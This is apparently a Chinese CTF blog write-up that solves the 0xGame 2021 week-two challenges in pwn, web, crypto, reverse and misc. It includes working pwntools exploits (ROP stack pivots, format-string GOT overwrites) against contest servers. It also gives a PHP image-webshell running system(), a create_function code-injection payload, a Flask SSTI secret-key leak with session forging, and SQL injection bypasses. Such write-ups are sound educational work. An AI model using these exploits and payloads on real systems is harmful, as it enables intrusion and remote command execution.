2021-0xGame 第二周 WriteUp(AK)

Pwn

1. Where is my stack?!

一个我觉得挺难的栈迁移
由于直接把栈迁移到bss段会覆盖之前的stdin/stdoutIO指针,所以直接puts是不行的,但是read覆盖的内容比较少,不会有什么影响,可以用read读入数据到更高的bss段,再转移执行。
但是通过动态调试会发现,回到__start后,无法push数据,因为RSP到了不可写的段,因此还需要将栈抬高,通过0x40128d处的gadgetpop rsp ; pop r13 ; pop r14 ; pop r15 ; ret)实现。
之后,在调用system时,会发现,又遇到了与之前类似的问题,还需要将栈再抬高一次,仿照上述思路即可。

from pwn import *

context(os = "linux", arch = "amd64", log_level= "debug")

io = remote("121.4.15.155", 10005)
pwn = ELF("pwn")

#0x40128d  pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
offset = 0x10
bss_addr = 0x4040A0 + offset
bss_addr_new = 0x4040A0 + 0x500
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
read_plt_addr = pwn.plt['read']
read_got_addr = pwn.got['read']
pop_rdi_addr = 0x401293
pop_rsi_addr = 0x401291
ret_addr = 0x40101a

io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)

payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401070)
io.send(payload)

io.recvuntil("something\n")
io.send(b'23333')

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))

base = puts_addr - 0x06f6a0
system_addr = 0x0453a0 + base
bin_sh_addr = 0x18ce17 + base
#one_gadget_addr = base + 0x4527a

io.recvuntil("something\n")
payload = b'a'*offset + p64(pop_rsi_addr) + p64(bss_addr_new) + b'S'*8 + p64(pop_rdi_addr) + p64(0) + p64(read_plt_addr) + p64(0x40128d) + p64(bss_addr_new)
io.send(payload)

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr - 8)
io.send(payload)

payload = b'a'*24 + p64(0x401070) + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
io.send(payload)

io.recvuntil("something\n")
io.send(b'23333')

io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr_new - 8 + 32)
io.send(payload)

io.send(payload)
io.interactive()

2. N1k0la's_love

格式化字符串漏洞,用fmtstr_payload直接一把梭。

from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10006)
num_addr = 0x404058
payload = fmtstr_payload(6 , {num_addr : 1314})
io.sendafter("N1k0la?\n",payload)
io.interactive()

3. stupid repeater

格式化字符串漏洞,修改memsetgot表指向的地址为后门函数。

from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10007)
pwn = ELF("pwn")
memset_got_addr = pwn.got['memset']
payload = fmtstr_payload(6 , {memset_got_addr : 0x401197})
io.send(payload)
io.interactive()

4. ezpwn?

一个简单的栈迁移,最后再用一把one_gadget即可。

from pwn import *
context(os = "linux", arch = "amd64", log_level= "debug")
io = remote("121.4.15.155", 10008)
pwn = ELF("pwn")
offset = 0 #本想抬高迁移地址,防止申请的临时空间覆盖bss段之前的有用数据,结果没用到
main_addr = pwn.symbols['main']
puts_plt_addr = pwn.plt['puts']
puts_got_addr = pwn.got['puts']
pop_rdi_addr = 0x4012a3
io.recvuntil("maybe...\n")
payload = b'a'*(offset+8) + p64(pop_rdi_addr) + p64(puts_got_addr) + p64(puts_plt_addr) + p64(0x401167)
io.send(payload)
io.recvuntil("in ")
bss_addr = offset + int(io.recv(9), 16)
io.recvuntil("more\n")
payload = b'a'*0x50 + p64(bss_addr)
io.send(payload)
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
base = puts_addr - 0x06f6a0
one_gadget_addr = base + 0x4527a
io.recvuntil("more\n")
payload = b'a'*0x58 + p64(one_gadget_addr)
io.send(payload)
io.interactive()

Web

1. 一个简单的文件上传

对上传的文件后缀过滤了ph,对其内容过滤了php,考虑上传图片马,内容用短标签写,如:上传1.png,内容为<?=system('ls')?>
看源代码,发现注释read.php?filename=...,由于图片马需要文件包含触发执行,所以read.php?filename=/var/www/html/XXX.png,使用绝对路径包含上传的文件,即可执行上传的代码内容。
由于出题人比较优秀,把flag藏到了某未知区域,你是直接找不到flag文件的,故可调用linux命令,上传图片马<?=system('grep -r "0xGame" /')?>直接查找flag的关键字内容即可,最终发现flag被藏在了环境变量中。

2. find_my_secret

hash_hmac()的绕过比较简单,如果你将数组传递给中间的参数,php将生成一个警告,返回一个NULL并继续执行你的程序。
$_POST['action']('',$_POST['Pupi1'])考虑action传入creat_function函数,Pupi1再传入}system('cat f*');/*即可。

create_function('$a','echo $a."123"');

等价于:

function f($a) {
    echo $a."123";
}

所以,按如上传入,就成了:

function f() {
	}system('cat f*');/*
}

3. 一个简单的登录

运维小哥哥题目出的太好了~
http://159.75.116.195:8083/{{7*7}}返回49,即可确定此次有SSTI模板注入,但是优秀的出题人又一次疯狂过滤了class等,所以不能直接RCE...
又由于是在flask框架下,所以考虑伪造session绕过admin验证,对session的加解密需要keyhttp://159.75.116.195:8083/{{config}}直接可以拿到'SECRET_KEY': 'x1ct34myydsytstflglgjhdfhsh',此外,需要注意adminuid=1的用户,抓包改包操作一把就OK了。

4. Come to Inject me

giegie,come to inject me. 太 骚 了
爆破一下,发现过滤了单引号,既然要闭合,那么可以考虑双引号或括号,试一下就知道,这里是双引号。
此外还过滤了空格,这个绕过的方法很多,比如 /**/()
万能密码:"or/**/1#"or(1)#都行。

Crypto

1. Gandalf's guidance

第四题的一部分,就不单独写了,爆破即可。

2. Calender

据说是签到题,比如Sat2,就是日历图中第二个星期六的日期所对应的小写英文字母,比如23号就对应w,手动一波也就行了。

3. Equation

拿了Z3解方程(给的数据是随机的),之后再反过来转一下即可,代码如下:

from z3 import *
from Crypto.Util.number import *

x = Solver()
p,q = Ints('p q')
x.add(6887 * p + 6685 * q == 84364148525485105033100559758288341801606479982371604233782851268212776929093825186200569639679379662012853163288875748966226418560567327184386125769109572527243683402932876462430040230601416992800503974050327849168287851048632339372667322130200148797201510568566758637230782487307207951623927975703680168351662572365585655137363074805075497369721586216852359062655097098906411486397461633420175046434099542605504424759954509872)
x.add(p * q == 38638237231070703348591503984087157139855999723629100227991326861043320246507239948950780720812381270469550027894783071807368558851655126398884682687518489798378148842318257875074075434046534385014497892976879173543079489750705991701423415528881216135288807363846319538330504878296472459184137908223291582389028806770804423108109796415280755356243360284992180099557497994337960255608612095136751322849326778216179565749327748051508725926140544644707248428323922473683703174595429973350564186349290698433708332719940114864248715025499639381768192961738970331180668590561712758335567869395985007039585965183556180717333332316121469477430884469188279519433903934792555750802606151282510726130416494678418608554970951250829893808042084783421187277222005273724835295215512261532808816046425626189632800931916254203840824650212605048530164426181661785069)
x.check()
print(x.model())

print(long_to_bytes(125161236316403271164016787891594217047442759526495952066528516225311605327528804157984524799577329854265429162648826093949),end="")

4. CN NO.1

中国剩余定理,RSA广播攻击了解一下。
代码如下:

from pwn import *
from sympy.ntheory.modular import crt
from gmpy2 import iroot
from hashlib import sha256

io = remote("47.101.38.213", 60712)
io.recvuntil("XXXX+")
tail = str(io.recv(8),'utf-8')
io.recvuntil("== ")
res = str(io.recv(63),'utf-8')

table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

io.recvuntil("XXXX :")
for i in table:
	for j in table:
		for k in table:
			for t in table:
				if sha256((i + j + k + t + tail).encode()).hexdigest() == res:
					kkk = i + j + k + t
					io.send(kkk.encode(encoding="utf-8")) 
					exit(0)

e = 3
n1 = int(io.recvline()[3:])
c1 = int(io.recvline()[3:])
n2 = int(io.recvline()[3:])
c2 = int(io.recvline()[3:])
n3 = int(io.recvline()[3:])
c3 = int(io.recvline()[3:])
N = [n1 , n2 , n3]
C = [c1 , c2 , c3]

result, mod = crt(N, C)
ans, type = iroot(result, e)
ans = str(ans)
io.send(ans.encode(encoding="utf-8"))
io.interactive()

Reverse

1. Despacito

DES解密,密钥拿IDA直接能看到。
得到明文之后,再转一下md5即可。

from Crypto.Cipher import DES
import hashlib
key = b'0xgame21'
des = DES.new(key, DES.MODE_ECB)
f = open('DES.txt', 'rb')
encrypted_text = f.read()
plain_text = des.decrypt(encrypted_text).decode().rstrip(' ')
print(plain_text)
m = hashlib.md5()
m.update(plain_text.encode("utf-8"))
print("0xGame{",m.hexdigest(),"}",sep="")

2. Secret Base

一个换了表的base64,解密脚本如下:

#include<bits/stdc++.h>
using namespace std;

char data[] = "123DfgabcQeEFh4pklmnojqGHIJKLMNOPdRSTUVWXYZrstuvwxyz0ABCi56789+/";
char secret[65] = "FbdbHqAUNzoiIDdUIDhSEnF54DHthDT5Hm05HVlREnoAhaF0Hn2dFBQVFC0=";
char plain[45];

int GetIndex(char c)
{
	int i=0;
	for(i=0; i<strlen(data); i++)
	{
		if(data[i] == c)
		{
			return i;
		}
	}
	return -1;
}

void Decode(char *str,char *result)
{
	int len = strlen(str);
	int i = 0;
	int	cnt = 0;
	int arr[4];
	int temp;
	
	for(i=0; i<len; i+=4)
	{
		arr[0] = GetIndex(str[i]);
		arr[1] = GetIndex(str[i+1]);
		if(str[i+2] == '=')
			break;
		arr[2] = GetIndex(str[i+2]);
		if(str[i+3] == '=')
			break;
		arr[3] = GetIndex(str[i+3]);

		temp = (arr[0]<<2) | (arr[1]>>4);
		result[cnt++] = temp;
		temp = (arr[1]&0x0f);
		temp = temp << 4;
		temp = temp | (arr[2]>>2);
		result[cnt++] = temp;
		temp = arr[2]&0x03;
		temp = temp << 6;
		temp = temp | (arr[3]&0x3f);
		result[cnt++] = temp;
	}
	if(str[i+2] == '=')
	{
		temp = (arr[0]<<2) | (arr[1]>>4);
		result[cnt++] = temp;
		temp = arr[1]&0x0f;
		temp = temp<<4;
	}
	else if(str[i+3] == '=')
	{
		temp = (arr[0]<<2) | (arr[1]>>4);
		result[cnt++] = temp;
		temp = arr[1]&0x0f;
		temp = temp<<4;
		temp = temp | (arr[2]>>2);
		result[cnt++] = temp;
	}
	result[cnt] = '\0';
}

int main()
{
	Decode(secret, plain);
	cout<<plain<<endl;
	return 0;
}

Misc

1. ENCODE

先用新约佛论禅解密,再把中文换成Ook,拿Ook解密,最后再拿Script Decoder解密vbs脚本即可。

2. EasyAlpha

图片分离,用Stegsolve直接一把梭。

3. Hamburger Souls

16进制编辑器,如010打开,直接搜索0xGame即可拿到flag

4. dlohesuoHesaB

观察到题目名,附件名,如果倒过来就是正常的英文单词或组合。
所以,将附件内容全倒过来,然后再用Base家族解密。
解密流程:Base85 -> Base58 -> Base85 -> Base32 -> Base64 -> Base58 -> Base85 -> Base32 -> Base62 -> Base58 -> Base64 -> Base85 -> Base64 -> Base62 -> Base58 -> Base32,一共16层。

5. EasyPcap

扫描网络的操作是ping,其对应的DestinationIP185.199.108.153,故以185.199.108.153为明文,ping为密码,进行3DES加密,并以16进制的形式输出密文即可。
0xGame{ec6d199865663767741e27953653206e}

posted @ 2021-10-29 19:18  winmt  阅读(755)  评论(0编辑  收藏  举报